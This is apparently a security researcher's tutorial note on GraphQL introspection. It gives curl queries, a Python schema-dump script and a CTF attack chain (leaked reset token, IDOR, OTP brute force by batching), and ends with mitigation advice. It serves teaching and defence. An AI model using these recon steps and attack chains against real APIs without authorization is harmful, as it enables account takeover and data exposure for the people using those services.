đź§  GraphQL - Introspection Exploitation

What is it?

  • Concept: GraphQL schemas are self-documenting via a built-in reflection API (__schema, __type meta-fields). If introspection isn’t disabled in production, you can query the API for its own blueprint — every query, mutation, type, field, and argument — without any docs, source code, or prior knowledge of the app. It turns a black-box API into a fully documented one, for free.
  • Impact: Introspection itself isn’t a vulnerability — it’s recon. But it routinely surfaces the exact vulnerabilities that get you in: hidden/debug mutations never wired into the frontend, IDOR-shaped arguments (userId: Int on a query that should be session-scoped), mass-assignment surface in input types, and the precise call shape for every mutation — including the ones the UI never exposes.

How it works

  1. GraphQL servers implement a standard reflection schema (__schema, __type, __Field, __InputValue, …) so tools like GraphiQL/Playground/Apollo Studio can auto-generate docs and autocomplete.
  2. That reflection API is just more GraphQL — queryable over the exact same endpoint, same POST request, no special auth unless the server explicitly locks it down.
  3. A shallow __schema query only returns field names by default. Arguments, return types, and input-object shapes each need to be queried explicitly. Most people stop after the first shallow dump — that’s where the real exploitation planning is actually done, so don’t stop there.

Security Quirks and Niche Facts

  • “Introspection disabled” usually just means the __schema query errors out — it doesn’t make the schema unknowable. Tools like clairvoyance reconstruct schemas field-by-field via error-suggestion leakage even with introspection off.
  • Field names alone tell you almost nothing actionable. The payoff is in a second pass pulling args (with full nested type { kind name ofType {...} }) and inputFields for every input object — that’s what turns “there’s a mutation called updateProfile” into “here’s exactly what I can send it.”
  • Naming conventions leak intent. devForgotPassword sitting next to forgotPassword, debugLogin, _internal*, adminOnly*, v2* next to the “real” field — these are almost always leftover debug/staging endpoints that skip validation the real one enforces. Read the field list like a suspicious directory listing.
  • An argument that shouldn’t be there is the #1 tell for IDOR. userProfile(userId: Int!) on something that should silently resolve from the caller’s session is a broken object-level authorization bug, spottable straight from the schema before you send a single request. See (incomplete) GraphQL - IDOR via Insecure Resolvers.
  • Return type matters as much as argument shape. If a field’s introspected return kind is SCALAR (plain String/Boolean) instead of OBJECT, sending a { selection } on it throws a validation error (must not have a selection since type "String" has no subfields) — that error message alone confirms the return type without even checking __type. This is exactly the kind of quirk that reveals a raw secret (e.g. a password-reset token) being returned as a bare string instead of safely wrapped.
  • The global types { name } list can contain orphaned types not actually wired to any field (leftover from refactors). Don’t assume a type in that list is reachable — always confirm via the Mutation/Query field’s own type entry.

Exploitation

Prerequisites

  • A reachable GraphQL endpoint (commonly /graphql, /api/graphql, /v1/graphql, /gql) accepting POST with a JSON {"query": "..."} body
  • Introspection not disabled server-side (check first — it’s one request)

Attack Vectors

Step 1a — confirm it’s actually a GraphQL endpoint.

curl -s -X POST http://target/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{ __typename }"}'

__typename is a meta-field that’s always queryable, introspection on or off — it only proves you’re talking to a GraphQL engine, nothing about introspection specifically. Expected output:

{"data":{"__typename":"Query"}}

A 404, an HTML error page, or {"errors":[...]} about the query being malformed means wrong path/method — try /api/graphql, /v1/graphql, /gql, or a GET with ?query=... before giving up on the target.

Step 1b — the actual introspection check. This is the one that matters — __schema/__type are the fields introspection-disable flags specifically block, __typename won’t tell you this.

curl -s -X POST http://target/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { queryType { name } } }"}'

Introspection enabled — you get real schema data back:

{"data":{"__schema":{"queryType":{"name":"Query"}}}}

Introspection disabled — a GraphQL-level error instead of data, data is usually null or absent. Exact wording varies by server/framework, but it names __schema/introspection explicitly:

{"errors":[{"message":"GraphQL introspection is not allowed, but the query contained __schema or __type","extensions":{"code":"GRAPHQL_VALIDATION_FAILED"}}]}

If you see this, jump to the “introspection is disabled” fallback further down instead of proceeding to Step 2 — a full __schema{types{...}} dump will just return the same error.

Step 2 — full type/field name dump. Cheap, gives you the lay of the land: every type, every query, every mutation.

{"query":"{ __schema { types { name fields { name } } } }"}

Skim the Query and Mutation type entries first — that’s your attack surface. Flag anything named dev*, debug*, test*, internal*, _*, or a near-duplicate of a “real” field (forgotPassword / devForgotPassword is a textbook example — see Notes below).

Step 3 — pull full argument detail for Mutation and Query. This is the step people skip — don’t. You need real argument names/types to call anything, and this is where IDOR-shaped arguments jump out.

{"query":"{ __type(name: \"Mutation\") { fields { name args { name type { kind name ofType { kind name ofType { kind name } } } } } } }"}
{"query":"{ __type(name: \"Query\") { fields { name args { name type { kind name ofType { kind name ofType { kind name } } } } } } }"}

(The triple-nested ofType unwraps GraphQL’s NON_NULL/LIST wrapper kinds down to the actual named scalar/object — add another level if a leaf name still comes back null.)

Step 4 — get mutation/query return types, so you know whether to write a selection set { field } or call the field bare.

{"query":"{ __schema { mutationType { fields { name type { kind name ofType { kind name ofType { kind name } } } } } } } }"}

Step 5 — get input object shapes (mass-assignment / broken object-level auth surface). Any INPUT_OBJECT used as a mutation argument (updateProfile(input: ProfileInput!)) deserves a dedicated pull:

{"query":"{ __type(name: \"ProfileInput\") { inputFields { name type { kind name ofType { kind name } } } } }"}

Check specifically for fields that shouldn’t be client-controllable on an “update my own profile” style mutation: userId, id, role, isAdmin, twoFactorAuthEnabled, verified, balance. If present, you may be able to edit another user’s record or escalate privileges through a field the frontend never surfaces.

Full recon script — dumps the schema, then automatically pulls args/return types for every Query and Mutation field in one pass:

import requests, json
 
GQL = "http://target/graphql"
 
def gql(query):
    return requests.post(GQL, json={"query": query}, timeout=15).json()
 
TYPE_DETAIL = "kind name ofType { kind name ofType { kind name ofType { kind name } } }"
 
def dump_operation_type(op_type_name):
    q = f'{{ __type(name: "{op_type_name}") {{ fields {{ name args {{ name type {{ {TYPE_DETAIL} }} }} type {{ {TYPE_DETAIL} }} }} }} }}'
    return gql(q)["data"]["__type"]["fields"]
 
schema = gql("{ __schema { queryType { name } mutationType { name } } }")["data"]["__schema"]
print("=== QUERY FIELDS ===")
print(json.dumps(dump_operation_type(schema["queryType"]["name"]), indent=2))
print("=== MUTATION FIELDS ===")
print(json.dumps(dump_operation_type(schema["mutationType"]["name"]), indent=2))

If introspection is disabled: you’re not dead in the water. Use clairvoyance or graphql-cop to reconstruct the schema field-by-field from error-suggestion leakage (“Did you mean user?”), or brute-force common field/mutation names by hand on a small target. Also try GET with the query in the URL, and alternate paths (/graphiql, /playground, /v1/graphql) — some setups only lock down introspection on the primary route.

Burp Suite users: the InQL extension automates steps 2-5 and generates a clickable schema map plus a ready-made query template per field — much faster than hand-rolling the above against a large schema.

Notes

  • Introspection is recon, not the vulnerability — always chain it into something. Real chain, from (incomplete) HTB Challenge - SpeedNet: introspection → spotted a leftover debug mutation devForgotPassword next to the real forgotPassword → its introspected return type turned out to be a bare String containing the reset token in-band (no email needed at all) → resetPassword → full account takeover → userProfile(userId: Int!) (spotted straight from the introspected args) confirmed an IDOR and leaked the admin’s email → chained into a GraphQL - Batching Attack against verifyTwoFactor to brute-force the OTP → admin JWT → flag sitting in invoiceHistory.
  • When a field errors with Cannot query field "X" on type "Y", don’t assume it’s gone — re-check casing (type names are PascalCase, field names camelCase by convention) or that you’re introspecting the right parent type.
  • ofType nesting depth needed varies with how the field is wrapped (String vs String! vs [String]! vs [String!]!). If a leaf name still shows null, add another ofType { kind name } level rather than assuming the field is unnamed.
  • Don’t stop at field names — description on types/fields/args (__type(name:"X"){ description fields { name description } }) sometimes carries developer comments never meant to ship: leftover TODOs, internal notes, occasionally credentials on dev/staging instances.

Mitigation

  • Disable introspection in production (introspection: false in Apollo Server, the equivalent flag in most GraphQL frameworks). Doesn’t stop a determined attacker (see clairvoyance) but removes the free, complete map.
  • Never ship debug/dev-only fields to production — gate them at schema-composition time behind an environment check, not just by omitting them from frontend docs. If it’s in the schema, it’s reachable.
  • Enforce authorization inside every resolver, independent of what arguments the client supplies. A userId argument on a query is fine if the resolver still checks the authenticated caller is allowed to see that userId’s data — the bug is missing object-level authorization, not the argument existing.
  • Validate input objects against an explicit allowlist of client-settable fields server-side — don’t blindly spread/merge an entire input object onto a database record.
FileCreated

References: